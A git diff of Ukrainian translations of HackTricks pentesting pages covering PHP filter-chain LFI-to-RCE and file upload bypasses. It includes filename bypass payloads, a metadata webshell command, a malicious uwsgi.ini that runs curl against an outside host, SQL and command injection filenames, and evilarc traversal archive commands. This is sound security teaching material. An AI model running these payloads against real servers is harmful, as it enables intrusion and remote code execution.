файл 2 рази, щоб викликати цю помилку). -**Я не знаю, наскільки це корисно, але можливо.**\ -_Навіть якщо ви спричините PHP Fatal Error, тимчасові файли PHP, що були завантажені, видаляються._ +**I don't know how is this useful but it might be.**\ +_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index fe4c06215..8b97115de 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -5,34 +5,34 @@ ## Вступ -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що можна використовувати **php filters для генерації довільного вмісту** для виводу. Це, по суті, означає, що ви можете **generate arbitrary php code** для include **без потреби записувати** його у файл. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Це, по суті, означає, що ви можете **генерувати довільний php-код** для include **без потреби записувати** його у файл. -Мета скрипта — **згенерувати Base64** рядок на **початку** файлу, який наприкінці буде **декодований**, забезпечивши потрібний payload, що буде **інтерпретований `include`**. +Мета скрипта — **згенерувати Base64** рядок на **початку** файлу, який буде **наприкінці декодований**, надаючи потрібний payload, що буде **інтерпретований `include`**. -Основи для цього: +Основи цього підходу: - `convert.iconv.UTF8.CSISO2022KR` завжди додаватиме `\x1b$)C` на початок рядка -- `convert.base64-decode` дуже толерантний, він фактично просто ігнорує будь-які символи, що не є валідними для base64. Він створює проблеми, якщо знаходить непередбачені "=", але їх можна видалити за допомогою фільтра `convert.iconv.UTF8.UTF7` +- `convert.base64-decode` надзвичайно толерантний, він по суті ігнорує будь-які символи, які не є валідними для base64. Він створює деякі проблеми, якщо знаходить непередбачене "=", але їх можна видалити за допомогою фільтра `convert.iconv.UTF8.UTF7` Цикл для генерації довільного вмісту: -1. додати на початок нашого рядка `\x1b$)C`, як описано вище -2. застосувати ланцюжок iconv-конверсій, що залишає наш початковий base64 незмінним і перетворює частину, яку ми щойно додали, у рядок, де єдиним валідним base64-символом є наступна частина нашого base64-кодованого php-коду -3. base64-decode і base64-encode рядок — це видалить будь-який "сміття" між частинами +1. додати `\x1b$)C` до нашого рядка, як описано вище +2. застосувати деякий ланцюжок iconv конвертацій, який залишає наш початковий base64 неторканим і перетворює щойно додану частину в такий рядок, де єдиним валідним base64-символом є наступна частина нашого base64-кодованого php-коду +3. base64-decode і base64-encode рядок, що видалить будь-який сміттєвий вміст між частинами 4. Повернутися до кроку 1, якщо base64, який ми хочемо побудувати, ще не завершено 5. base64-decode, щоб отримати наш php-код > [!WARNING] -> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! +> **Includes** зазвичай роблять такі речі, як **додавання ".php" в кінці** імені файлу, що може ускладнити експлуатацію, оскільки потрібно знайти .php файл з вмістом, який не руйнує експлойт... або ви **можете просто використовувати `php://temp` як ресурс**, оскільки до імені можна **додати будь-що** (lie +".php") і це все одно дозволить експлойту працювати! -## Як також додати суфікси до отриманих даних +## How to add also suffixes to the resulting data -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) як ви все ще можете зловживати PHP filters, щоб додавати суфікси до отриманого рядка. Це корисно, якщо вам потрібно, щоб вивід мав специфічний формат (наприклад json або додавання PNG magic bytes). +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) як ви все ще можете зловживати PHP filters, щоб додати суфікси до результатного рядка. Це корисно, якщо вихід має мати специфічний формат (наприклад json або додавання PNG magic bytes) -## Автоматичні інструменти +## Automatic Tools -- https://github.com/synacktiv/php_filter_chain_generator -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(може додавати суфікси)** +- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** ## Повний скрипт ```python @@ -94,9 +94,9 @@ r = requests.get(url, params={ print(r.text) ``` -### Покращення +### Improvements -Попередній скрипт обмежувався лише символами base64, потрібними для цього payload. Тому я створив власний скрипт, щоб **bruteforce всі символи base64**: +Попередній скрипт обмежувався лише символами base64, необхідними для того payload. Тому я створив власний скрипт, щоб **bruteforce all the base64 characters**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -254,7 +254,7 @@ find_vals($init); ## Додаткові посилання - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [Мистецтво PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 7e6a736c3..b32f46db1 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -17,11 +17,11 @@ ### Обхід перевірок розширень файлів -1. Якщо застосовно, **перевірте попередні розширення.** Також протестуйте їх, використовуючи **великі літери**: _pHp, .pHP5, .PhAr ..._ -2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_ +1. Якщо застосовується, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи **великі літери**: _pHp, .pHP5, .PhAr ..._ +2. _Перевірте **додавання валідного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_ - _file.png.php_ - _file.png.Php5_ -3. Спробуйте додати **спеціальні символи в кінці.** Можна використати Burp, щоб **bruteforce** всі **ascii** та **Unicode** символи. (_Зверніть увагу, що також можна спробувати використати **попередньо** згадані **розширення**_) +3. Спробуйте додати **спеціальні символи в кінці.** Можна використовувати Burp для **bruteforce** всіх **ascii** та **Unicode** символів. (_Зауважте, що також можна спробувати використати **вищезгадані** **розширення**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ - _file._ - _file.php...._ - _file.pHp5...._ -4. Спробуйте обійти захист, **обдуривши парсер розширень** на сервері за допомогою технік, таких як **подвійне** розширення або **додавання сміттєвих** даних (**null** байтів) між розширеннями. _Ви також можете використати **попередні розширення** для підготовки кращого payload'а._ +4. Спробуйте обійти захист, **обманувши парсер розширень** на сервері за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміття** (байти **null**) між розширеннями. _Також можна використати **попередні розширення** для підготовки кращого payload'а._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -43,10 +43,10 @@ 5. Додайте **ще один шар розширень** до попередньої перевірки: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся на помилкову конфігурацію сервера. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням** _**.php**_**, але** не обов'язково що закінчується на .php** буде виконувати код): +6. Спробуйте поставити **виконуване розширення перед валідним розширенням** і сподівайтеся, що сервер налаштований неправильно. (корисно для експлуатації misconfig в Apache, де будь-що з розширенням **.php**, але **не обов'язково закінчуючись на .php**, буде виконувати код): - _ex: file.php.png_ -7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено двокрапку ":". В результаті на сервері буде створений **порожній файл із забороненим розширенням** (наприклад "file.asax:.jpg”). Цей файл може бути відредагований пізніше іншими техніками, наприклад використовуючи його коротке ім'я файлу. Також можна використати шаблон "**::$data**” для створення не-порожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад "file.asp::$data.”) -8. Спробуйте перевантажити ліміт імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php +7. Використання **NTFS alternate data stream (ADS)** у **Windows**. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки ":”. В результаті на сервері буде створено **порожній файл із забороненим розширенням** (напр. "file.asax:.jpg”). Цей файл може бути редагований пізніше іншими техніками, наприклад, використовуючи його коротке ім'я. Патерн "**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього патерну може допомогти обійти подальші обмеження (наприклад "file.asp::$data.”) +8. Спробуйте перевантажити обмеження на довжину імені файлу. Валідне розширення буде обрізано. А злоякісний PHP залишиться. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png ### Обхід Content-Type, Magic Number, Compression & Resizing -- Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_ , _text/plain , application/octet-stream_ +- Обійти перевірки **Content-Type**, встановивши значення заголовка **Content-Type**: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Обійдіть перевірку **magic number**, додавши на початок файлу **байти справжнього зображення** (заплутати команду _file_). Або вставте шелл всередину **metadata**:\ +- Обійти перевірку **magic number**, додавши на початок файлу **байти реального зображення** (заплутати команду _file_). Або вставити шелл всередину **metadata**:\ `exiftool -Comment="' >> img.png` -- Якщо до вашого зображення застосовується **сжаття** (наприклад через стандартні PHP-бібліотеки, такі як [PHP-GD](https://www.php.net/manual/fr/book.image.php)), попередні техніки можуть не спрацювати. Проте можна використати **PLTE chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Проте можна використати **IDAT chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Інша техніка для створення payload'а, що **витримує зміну розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте можна використати **tEXt chunk** [**техніку описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), щоб вставити текст, який **втримається після стиснення**. -- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Якщо до вашого зображення додається **компресія**, наприклад використовуючи стандартні PHP-бібліотеки як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки можуть бути неефективні. Проте можна використати **PLTE chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**. +- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Веб-сторінка також може **змінювати розмір** зображення, використовуючи, наприклад, PHP-GD функції `imagecopyresized` або `imagecopyresampled`. Проте можна використати **IDAT chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**. +- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Інша техніка для створення payload'а, який **виживає при зміні розміру зображення**, використовуючи PHP-GD функцію `thumbnailImage`. Проте можна використати **tEXt chunk** [**техніку, описану тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки тексту, який **виживе після компресії**. +- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Інші трюки для перевірки -- Знайдіть вразливість, щоб **перейменувати** вже завантажений файл (щоб змінити розширення). -- Знайдіть вразливість **Local File Inclusion**, щоб виконати backdoor. -- **Можливе розкриття інформації**: -1. Завантажте файл **кілька разів** (і одночасно) з **однаковим іменем** -2. Завантажте файл з **іменем** файлу або папки, яка **вже існує** -3. Завантаження файлу з іменем **"." , "..”, або "…”**. Наприклад, в Apache на **Windows**, якщо додаток зберігає завантажені файли в каталозі "/www/uploads/”, ім'я файлу "." створить файл під назвою "uploads” в каталозі "/www/”. -4. Завантажте файл, який може бути важко видалити, наприклад **"…:.jpg”** в **NTFS**. (Windows) -5. Завантажте файл у **Windows** з **невалідними символами** в імені, такими як `|<>*?”`. (Windows) -6. Завантажте файл у **Windows** з використанням зарезервованих (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, та LPT9. -- Також спробуйте **завантажити виконуваний** файл (.exe) або **.html** (менш підозріло), який **виконає код** при випадковому відкритті жертвою. +- Знайти вразливість, яка дозволяє **перейменувати** вже завантажений файл (щоб змінити розширення). +- Знайти **Local File Inclusion** вразливість для виконання backdoor'а. +- **Можлива витік інформації**: +1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям** +2. Завантажте файл з **іменем** файлу або папки, який **вже існує** +3. Завантаження файлу з ім'ям **"." , "..” або "…”**. Наприклад, в Apache на **Windows**, якщо застосунок зберігає завантажені файли в директорії "/www/uploads/”, ім'я файлу "." створить файл "uploads” в директорії "/www/”. +4. Завантаження файлу, який може бути важко видалити, наприклад **"…:.jpg”** в **NTFS**. (Windows) +5. Завантаження файлу в **Windows** з **недопустимими символами** в імені, такими як `|<>*?”` . (Windows) +6. Завантаження файлу в **Windows** з використанням **зарезервованих** (заборонених) імен, таких як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Спробуйте також **завантажити виконуваний файл** (.exe) або **.html** (менш підозрілий), який **виконає код**, якщо випадково буде відкритий жертвою. ### Спеціальні трюки з розширеннями Якщо ви намагаєтеся завантажити файли на **PHP server**, [погляньте на трюк з **.htaccess** для виконання коду](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ Якщо ви намагаєтеся завантажити файли на **ASP server**, [погляньте на трюк з **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його через php, або включаючи його всередину скрипта...) +Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконувані з php, або включені всередину скрипту...) -Розширення `.inc` іноді використовують для php файлів, які лише імпортують інші файли, тож інколи може бути дозволено **виконання такого розширення**. +Розширення `.inc` інколи використовується для php-файлів, які призначені лише для **імпорту інших файлів**, тому інколи може бути дозвіл на **виконання такого розширення**. ## **Jetty RCE** -Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як згадано на наступному зображенні, завантажте XML файл в `$JETTY_BASE/webapps/` і очікуйте shell! +Якщо ви можете завантажити XML файл на Jetty server, ви можете отримати [RCE, оскільки **нові \*.xml та \*.war обробляються автоматично**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Отже, як показано на наведеному зображенні, завантажте XML файл в `$JETTY_BASE/webapps/` і очікуйте оболонку! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Для детального вивчення цієї вразливості перегляньте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) вразливості можуть бути експлуатовані на uWSGI серверах, якщо є можливість змінити `.ini` конфігураційний файл. Конфігураційні файли uWSGI використовують специфічний синтаксис для включення "magic" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних схем, підтримуваних у uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі стандартного виводу процесу. Цю функцію можна використати для зловмисних цілей, таких як Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл. +Remote Command Execution (RCE) вразливості можуть бути експлуатовані в uWSGI серверах, якщо є можливість змінити `.ini` конфігураційний файл. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "magic" змінних, плейсхолдерів та операторів. Зокрема, оператор '@', що використовується у вигляді `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані зі stdout процесу. Цю можливість можна зловмисно використати для Remote Command Execution або Arbitrary File Write/Read, коли обробляється `.ini` конфігураційний файл. -Розгляньте наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми: +Розглянемо наступний приклад шкідливого `uwsgi.ini` файлу, що демонструє різні схеми: ```ini [uwsgi] ; read from a symbol @@ -126,15 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Виконання payload відбувається під час парсингу файлу конфігурації. Щоб конфігурацію було активовано й розпарсено, процес uWSGI має бути або перезапущений (потенційно після крашу або через Denial of Service attack), або файл має бути встановлений на auto-reload. Функція auto-reload, якщо ввімкнена, перезавантажує файл через вказані інтервали при виявленні змін. +Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована й розпарсена, процес uWSGI має бути перезапущений (можливо після збою або через Denial of Service атаку) або файл має бути налаштований на auto-reload. Функція auto-reload, якщо увімкнена, перезавантажує файл через вказані інтервали при виявленні змін. -Важливо розуміти вільний характер парсингу файлу конфігурації uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад, зображення чи PDF), що ще більше розширює можливості експлуатації. +Важливо розуміти поблажливу природу парсингу конфігураційних файлів uWSGI. Зокрема, обговорюваний payload можна вставити в бінарний файл (наприклад, зображення або PDF), що ще більше розширює поле для потенційної експлуатації. -## **wget Трюк завантаження файлів/SSRF** +## **wget File Upload/SSRF Trick** -У деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете вказати **URL**. У таких випадках код може перевіряти, що розширення скачуваних файлів входить у whitelist, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак **цю перевірку можна обійти.**\ - -Максимальна **довжина** **імені файлу** в **linux** — **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл з іменем "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (у цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**. +Іноді може трапитися, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У таких випадках код може перевіряти, чи розширення завантажуваних файлів входить у whitelist, щоб переконатися, що будуть завантажені лише дозволені файли. Однак, **цю перевірку можна обійти.**\ +Максимальна довжина **filename** в **linux** — **255**, проте **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, ця назва файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **valid** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -157,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Зауважте, що **ще одна опція**, про яку ви, можливо, думаєте, щоб обійти цю перевірку — змусити **HTTP server перенаправляти на інший файл**, тож початковий URL пройде перевірку, але wget завантажить перенаправлений файл з новим іменем. Це **не спрацює**, **якщо не** використовувати wget з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з іменем файлу, вказаним в оригінальному URL**. +Зверніть увагу, що **інший варіант**, про який ви можете подумати для обходу цієї перевірки, — змусити **HTTP server redirect to a different file**, тож початковий URL пройде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це **не спрацює**, **якщо wget не використовується** з **параметром** `--trust-server-names`, оскільки **wget завантажить перенаправлену сторінку з іменем файлу, вказаним в оригінальному URL**. ## Інструменти -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений, щоб допомогти Pentesters і Bug Hunters тестувати механізми завантаження файлів. Він використовує різні bug bounty техніки, щоб спростити процес виявлення й експлуатації вразливостей, забезпечуючи ретельну оцінку веб-застосунків. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) — потужний інструмент, створений для допомоги Pentesters та Bug Hunters у тестуванні file upload mechanisms. Він використовує різні bug bounty techniques для спрощення процесу виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку web applications. ### Corrupting upload indices with snprintf quirks (historical) -Деякі застарілі upload handlers, які використовують `snprintf()` або подібні функції для побудови multi-file масивів з однофайлового завантаження, можна обдурити, щоб сфальсифікувати структуру `_FILES`. Через непослідовності та усікання в поведінці `snprintf()`, ретельно сформоване одноразове завантаження може виглядати як кілька індексованих файлів на сервері, плутаючи логіку, що очікує певну форму (наприклад, трактуючи як multi-file upload і виконуючи небезпечні гілки). Хоча сьогодні це рідкість, патерн «index corruption» іноді з'являється в CTF і старих кодових базах. +Деякі legacy upload handlers, які використовують `snprintf()` або подібне для побудови multi-file arrays з single-file upload, можуть бути обдурені для фальсифікації структури `_FILES`. Через невідповідності та усічення в поведінці `snprintf()`, ретельно сформований single upload може виглядати як кілька indexed files на боці сервера, що плутає логіку, яка очікує суворої форми (наприклад, трактуючи це як multi-file upload і виконуючи небезпечні гілки). Хоча сьогодні це нішеве явище, цей “index corruption” pattern іноді з'являється в CTFs та старих codebases. -## Від завантаження файлів до інших вразливостей +## From File upload to other vulnerabilities -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** -- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** -- Set **filename** to `` to achieve a XSS -- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) +- Встановіть **filename** на `../../../tmp/lol.png` і спробуйте здійснити **path traversal** +- Встановіть **filename** на `sleep(10)-- -.jpg` і ви можете добитися **SQL injection** +- Встановіть **filename** на `` щоб досягти **XSS** +- Встановіть **filename** на `; sleep 10;` щоб протестувати command injection (більше [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- Якщо ви можете вказати web server, щоб захопити image з URL, ви можете спробувати зловживати [SSRF](../ssrf-server-side-request-forgery/index.html). Якщо це **image** буде **saved** на якомусь **public** сайті, ви також можете вказати URL з [https://iplogger.org/invisible/](https://iplogger.org/invisible/) і **вкрасти інформацію кожного відвідувача**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Перевірте, чи існує будь-яке **size limit** при завантаженні файлів +- Спеціально створені PDFs для XSS: на наступній сторінці показано, як **inject PDF data to obtain JS execution** (../xss-cross-site-scripting/pdf-injection.md). Якщо ви можете upload PDFs, ви можете підготувати PDF, який виконуватиме довільний JS згідно з наведеними інструкціями. +- Завантажте вміст \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) щоб перевірити, чи сервер використовує будь-який **antivirus** +- Перевірте, чи існує будь-яке **size limit** при uploading files -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Ось топ-10 речей, які можна досягти шляхом upload (з [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -205,39 +204,39 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( https://github.com/portswigger/upload-scanner {{#endref}} -## Магічні байти заголовка +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. -## Zip/Tar файл, що автоматично розпаковується при завантаженні +## Zip/Tar File Automatically decompressed Upload -Якщо ви можете завантажити ZIP, який буде розпаковано всередині сервера, ви можете зробити 2 речі: +Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі: ### Symlink -Завантажте архів, що містить символічні посилання на інші файли; при доступі до розпакованих файлів ви отримаєте доступ до пов'язаних файлів: +Завантажте архів, що містить soft links на інші файли, тоді, отримавши доступ до розпакованих файлів, ви отримаєте доступ до linked files: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Розпакування в різні папки +### Розпаковувати в різні папки -Неочікуване створення файлів у директоріях під час розпаковування є серйозною проблемою. Незважаючи на початкові припущення, що така конфігурація може захищати від виконання команд на рівні ОС через завантаження шкідливих файлів, підтримка ієрархічного стиснення та можливості directory traversal формату ZIP можуть бути експлуатовані. Це дозволяє атакуючим обходити обмеження та виходити за межі захищених директорій завантаження, маніпулюючи функцією розпаковування цільового додатка. +Несподіване створення файлів у директоріях під час розпаковування є серйозною проблемою. Попри початкові припущення, що така конфігурація могла б запобігти OS-level виконанню команд через malicious file uploads, підтримка ієрархічного стиснення та можливості directory traversal формату ZIP можуть бути використані. Це дозволяє атакувальникам обходити обмеження та escape secure upload directories шляхом маніпулювання decompression функціональністю цільового додатка. -Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано: +Автоматизований експлойт для створення таких файлів доступний за адресою [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утилітою можна скористатися, як показано: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Крім того, доступний варіант — **symlink trick with evilarc**. Якщо метою є доступ до файлу, наприклад `/flag.txt`, потрібно створити symlink на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи. +Також доступна опція — **symlink trick with evilarc**. Якщо метою є націлитися на файл, наприклад `/flag.txt`, слід створити символічне посилання на цей файл у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи. -Нижче наведено приклад Python-коду, який використовується для створення зловмисного zip-файлу: +Нижче наведено приклад Python-коду, який використовується для створення шкідливого zip-файлу: ```python #!/usr/bin/python import zipfile @@ -255,11 +254,11 @@ zip.close() create_zip() ``` -**Зловживання компресією для file spraying** +**Зловживання стисненням для file spraying** -Для детальнішої інформації **перегляньте оригінальний пост на**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Для більш детальної інформації **перегляньте оригінальний пост на**: 